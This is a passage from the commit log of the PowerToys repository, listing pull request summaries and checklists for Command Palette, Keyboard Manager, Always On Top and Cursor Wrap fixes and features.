b72224ea0b CmdPal: Ensure IconBox uses an initialized scale (#45980)
## Summary of the Pull Request

This PR makes sure that IconBox is using valid scale to prevent
defaulting to 0 and using poorly resizes full-scale image:

<img width="81" height="79" alt="image"
src="https://github.com/user-attachments/assets/55bbb08f-6f78-4c19-b7a6-748176dee9c8"
/>
vs 
<img width="89" height="88" alt="image"
src="https://github.com/user-attachments/assets/2dc26863-88c0-4c47-8798-023611d571b5"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45973
2026-03-09 06:15:23 -05:00
Jiří Polášek
e323da939b CmdPal: Don't be smart and stop passing a string file path with a file drop (#45951)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR removes the text data format from the data package attached to
list items for files, keeping only the file drop-related formats.

MS Teams doesn't handle having both formats simultaneously well. :/

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45950
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-09 05:48:49 -05:00
Kai Tao
75fb296bb2 Fix: Fix a issue that change always on top settings won't take effect immediately (#45994)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fix #45993

Always on top have a window proc thread that will reload the settings
once file watcher trigger a reload of settings.
And always on top has a worker thread to read the settings at the same
time.
So it may happen worker thread will read the stale setting, as a result,
user change settings, and try to invoke always on top, as if nothing has
changed.
As the issue's recording shows.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [X] Closes: #45993
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

The setting take effect once it's changed:


https://github.com/user-attachments/assets/70d753e9-eca1-4040-9abf-4cfa4e8dacec
2026-03-09 11:25:40 +08:00
Kai Tao
3d69785ca4 Cmdpal Powertoys Extension: Support mouse without borders easy mouse … (#45350)
## Description

You don't have to go to powertoys settings to 
* toggle the mouse move from machine to another
* you can trigger reconnect when connection lost from cmdpal
* You can toggle whether kbm is turning on or not from cmdpal

<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Add several missing cmd to powretoys cmdpal extension


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed


https://github.com/user-attachments/assets/9ea019f7-988b-4542-afc5-a80f0fc99ef8

For the kbm toggle, when it's off, kbm will not map anything, if it's
on, kbm will take effect

For the mouse without borders, add these two functionality as command
<img width="1182" height="158" alt="image"
src="https://github.com/user-attachments/assets/27f526b1-9c91-4923-be6c-e505673f5892"
/>

And verified for the two command, works as expected
2026-03-09 10:25:11 +08:00
Kai Tao
f6b0996c9b Chrore: Fix MouseUtils folder structure within slnx view (#45990)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
In current main:
<img width="260" height="216" alt="image"
src="https://github.com/user-attachments/assets/4c710e4d-b6b9-4dc0-8b19-99fc0ca6366f"
/>
The mouse utils projects are put inside the keyboard manager.

So change it back to:
<img width="256" height="367" alt="image"
src="https://github.com/user-attachments/assets/342ea9e9-34ca-462d-a4e6-f4cead1e27b0"
/>

introduced in #45649

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-08 17:09:53 +01:00
Kai Tao
748d5e485c Chore: Remove new info badge from system (#45992)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
We don't have new module in release 98, so remove the new info badge


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
### Current:
<img width="300" height="82" alt="image"
src="https://github.com/user-attachments/assets/31a161e8-b451-4e4b-b111-7a538cefe0f3"
/>

### After fix:
<img width="323" height="167" alt="image"
src="https://github.com/user-attachments/assets/d1ca3c5c-6777-4f69-9760-abc43790bd48"
/>
2026-03-08 17:09:24 +08:00
Kai Tao
1718cecedb Pipeline: Fix the sign fail in release pipeline due to file not found issue (#45971)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Release pipeline failed at main, here is the issue:
<img width="674" height="52" alt="image"
src="https://github.com/user-attachments/assets/303fa3f2-5207-4509-b27c-9e404986f6f0"
/>

Here is the actual location, within winui3 folder
<img width="508" height="58" alt="image"
src="https://github.com/user-attachments/assets/931e363f-ad7e-4b7a-aca2-7b3e23f5cc72"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-08 08:56:23 +08:00
Jiří Polášek
4f0c8f476a CmdPal: Add new colorful icons for Bookmarks and Performance Monitor (#45979)
## Summary of the Pull Request

This PR replaces fluent outline icons used for Bookmarks extension and
Performance Monitor extension to put them in line with other extensions:

## Pictures? Pictures:

| | Old | New |
|-----------------|----------------------|--------------------------|
| Bookmarks | <img width="244" height="84" alt="image"
src="https://github.com/user-attachments/assets/3fb26dd0-1b6b-4b48-b08b-af6ff2bf648d"
/> | <img width="221" height="81" alt="image"
src="https://github.com/user-attachments/assets/4f01eb93-1188-48aa-883f-c02e206bd2d1"
/> |
| Perf Mon | <img width="225" height="68" alt="image"
src="https://github.com/user-attachments/assets/fd917461-0e42-474a-ae67-4d1cf433dfa9"
/> | <img width="218" height="89" alt="image"
src="https://github.com/user-attachments/assets/ba143d4b-f9b3-45aa-9948-d4ebb22abb29"
/> |



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-07 19:21:39 +00:00
Kai Tao
a953a39aec Chore: PowerToys extension development dev guide, and clean an unused msix declaration (#45967)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
PowerToys extension development dev guide, and clean an unused msix
declaration

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-07 19:08:53 +08:00
Niels Laute
8c4ff37a50 [CmdPal] Visual dock tweaks (#45954)
## Summary of the Pull Request

- Changes the Dock height to 38px (from 32) to avoid item and app
clipping.
- Localization
- Removing dead code
- If the tooltip string is null or empty, the tooltip will not be shown
- Adding hyperlinks on the General and Dock pages in Settings (to be
updated to the corresponding docs via aka.ms)
- The droptarget for an empty listview is now wider, and has a
highlight-color to communicate an item can be dropped:
<img width="371" height="142" alt="image"
src="https://github.com/user-attachments/assets/6863ca5a-cdd4-450b-ab57-d03d83170cf8"
/>



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-06 21:27:23 +00:00
Jiří Polášek
02062dd023 CmdPal: Replace MainListPage icon with unplated CmdPal icon to make it bigger (#45958)
## Summary of the Pull Request

This PR updates MainListPage icon of CmdPal bolt with an unplated
version to make it bigger.
Icon in the search bar is unaffected by this change, the top-level icon
is hard coded in the shell page.

<img width="144" height="164" alt="image"
src="https://github.com/user-attachments/assets/840de3c8-675f-4b62-a76b-5fbe0d98575f"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45956
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-06 20:54:33 +00:00
Jiří Polášek
bcbca0d5dd CmdPal: Refactor PerformanceMonitor extension GPU stats to use batch counter reads (#45835)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR reduces overall CPU usage caused by GPU statistics in
Performance Monitor extension.

Replaces per-instance PerformanceCounter objects with batch reads via
PerformanceCounterCategory.ReadCategory, reducing kernel transitions and
improving efficiency.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45823
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-05 15:34:52 -05:00
Jiří Polášek
f0134e4448 CmdPal: Add adaptive parallel fallback processing and consistent updates (#42273)
## Summary of the Pull Request

This PR replaces sequential fallback processing with an adaptive
parallel dispatch model and isolates fallback work onto a dedicated
thread pool, preventing misbehaving extensions from starving the .NET
ThreadPool on blocked synchronous COM RPC call.

The other major change is allowing MainListPage to allow take control
over the debounce of search updates directly, reducing latency and
improving smoothness of the search.

- Adds `DedicatedThreadPool` — an elastic pool of background threads
(min 2, max 32) that expand on demand when all threads are blocked in
COM calls and shrink after 30s idle.
- Extracts all fallback dispatch machinery (adaptive workers,
per-command inflight tracking, pending-retry slots) from MainListPage
into a standalone FallbackUpdateManager.
- Prevents one fallback from monopolizing all threads by capping
concurrent in-flight calls per fallback to 4.
- Starts with low degree of parallelism (2) and gently scales up to half
of CPU cores per batch. If a fallback takes more than 200ms, another
worker is spawned so remaining commands aren't blocked.
- Adds `ThrottledDebouncedAction` to coalesce rapid `RaiseItemsChanged`
calls from fallback completions and user input (100ms for external
events, 50ms adjusted for keystrokes), replacing unbatched direct calls.
- Bypasses the UI-layer debounce timer for the main list page since it
now handles its own throttling, eliminating double-debounce latency.
- Introduces diagnostics for fallbacks and timing hidden behind feature
flags.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #42286
- [x] Related to: #44407
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-05 15:34:24 -05:00
Zach Teutsch
f651d1a611 [Keyboard Manager] Updated WinUI3 KBM and toggles (#45649)
## Running the Project
**Option 1: Test via runner**
1. Check out branch `niels9001/kbm-ux-consolidation`
2. Build PowerToys project
3. Manually build `Modules/KeyboardManagerEditorUI` project separately
4. Run `runner` project
5. Ensure experimental features are enabled in general settings (should
be on by default)
6. Launch keyboard manager via settings app

**Option 2: Test via installer**
1. Install PowerToys via installer on azure pipeline
1. Launch keyboard manager

## Validation
For each page (Text, Remappings, Programs, URLs):
* Create shortcuts with variable options and ensure they run as expected
* Delete shortcuts and ensure they no longer execute
* Try to create invalid shortcuts to check for proper validation
* Ensure created shortcuts appear in Power Toys Settings Keyboard
manager page
* Try toggling shortcuts
* Try deleting shortcuts while toggled off

### UI
* Any feedback on UI design appreciated as well
<img width="1071" height="671" alt="image"
src="https://github.com/user-attachments/assets/d2e81de0-6d92-4189-9a33-32e94cce74f7"
/>
<img width="2142" height="1341" alt="image"
src="https://github.com/user-attachments/assets/0e4e5685-fdf1-4dfd-ba52-a2e5bc9a66db"
/>



Closes: #15870
Closes: #31902
Closes: #45302
Closes: #36227
Closes: #16093
Closes: #13409
Closes: #9919
Closes:  #9482
Closes: #8798
Closes:  #7054
Closes: #2733
Closes: #2027
Closes: #30167

---------

Co-authored-by: Hao Liu <liuhao3418@gmail.com>
Co-authored-by: chenmy77 <162882040+chenmy77@users.noreply.github.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: Jay <65828559+Jay-o-Way@users.noreply.github.com>
Co-authored-by: Jaylyn Barbee <51131738+Jaylyn-Barbee@users.noreply.github.com>
Co-authored-by: Dustin L. Howett <duhowett@microsoft.com>
2026-03-04 15:46:42 -05:00
Jiří Polášek
d20ae940d5 CmdPal: Replace FiltersDropDown ComboBox with searchable dropdown (#45747)
## Summary of the Pull Request

Replaces the ComboBox-based filter control with a DropDownButton and
Flyout containing a searchable TextBox and ListView.

- Add type-to-search: typing while button is focused opens the flyout
and filters items by name
- Designed to match appearance of the context menu
- Add keyboard navigation: `Up`/`Down `moves selection from search box,
`Enter` confirms, `Escape` clears search text (or closes if empty), `F4`
opens the dropdown
- Add `Alt+F` shortcut on ShellPage to toggle filter focus
- Style flyout to match ContextMenu (item padding, separators, search
box appearance)
- Show "No results" empty state when search matches nothing
- After confirming selection, return focus to the main search box
- Add accessibility
- Update `FilterTemplateSelector` to support both ComboBoxItem and
ListViewItem containers
- Guard against infinite loop in navigation when only separators exist

## Pictures? Moving!



https://github.com/user-attachments/assets/60e232ae-8cee-4759-a9a7-d7edbf78719e

<img width="315" height="212" alt="image"
src="https://github.com/user-attachments/assets/b6e1a895-064c-47e1-9184-26dbb46fdf05"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #41648
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-04 13:05:22 -06:00
Niels Laute
86860df314 [Cursor Wrap] Update edge wrap model, update simulator, add cursor logging, add settings support to ModuleLoader (#45915)
This PR adds new options for disabling wrap, updates the wrapping model,
extends the simulator and cursor logging.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #45116 
- [ ] Closes: #44955 
- [ ] Closes: #44827 
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

The PR adds a new option for disabling cursor wrapping, exposing three
options: None - wrapping is not disabled, Ctrl key - if this is pressed
then wrapping is disabled, Shift key - if this is pressed then wrapping
is disabled, this would enable a user to temporarily disable wrapping if
they wanted to get close to a monitor edge without wrapping (auto-hide
status bar for example).

The cursor wrap edge model has been updated to mirror Windows
monitor-to-monitor cursor movement, this should ensure there aren't any
non-wrappable edges.

A new test tool has been added 'CursorLog' this is a monitor aware,
dpi/scaling aware Win32 application that captures mouse movement across
monitors to a log file, the log contains one line per mouse movement
which includes: Monitor, x, y, scale, dpi.

The wrapping simulator has been updated to include the new wrapping
model and support mouse cursor log playback.

## Validation Steps Performed
The updated CursorWrap has been tested on a single monitor (laptop) and
multi-monitor desktop PC with monitors being offset to test
edge/wrapping behavior.

---------

Co-authored-by: Mike Hall <mikehall@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: vanzue <vanzue@outlook.com>
2026-03-04 13:56:32 +00:00
Kai Tao
d28f312b81 Copilot Skills: Release note generation skill should also quote co-authors (#45819)
<!-- Enter a brief description/summary of your PR here. What does it
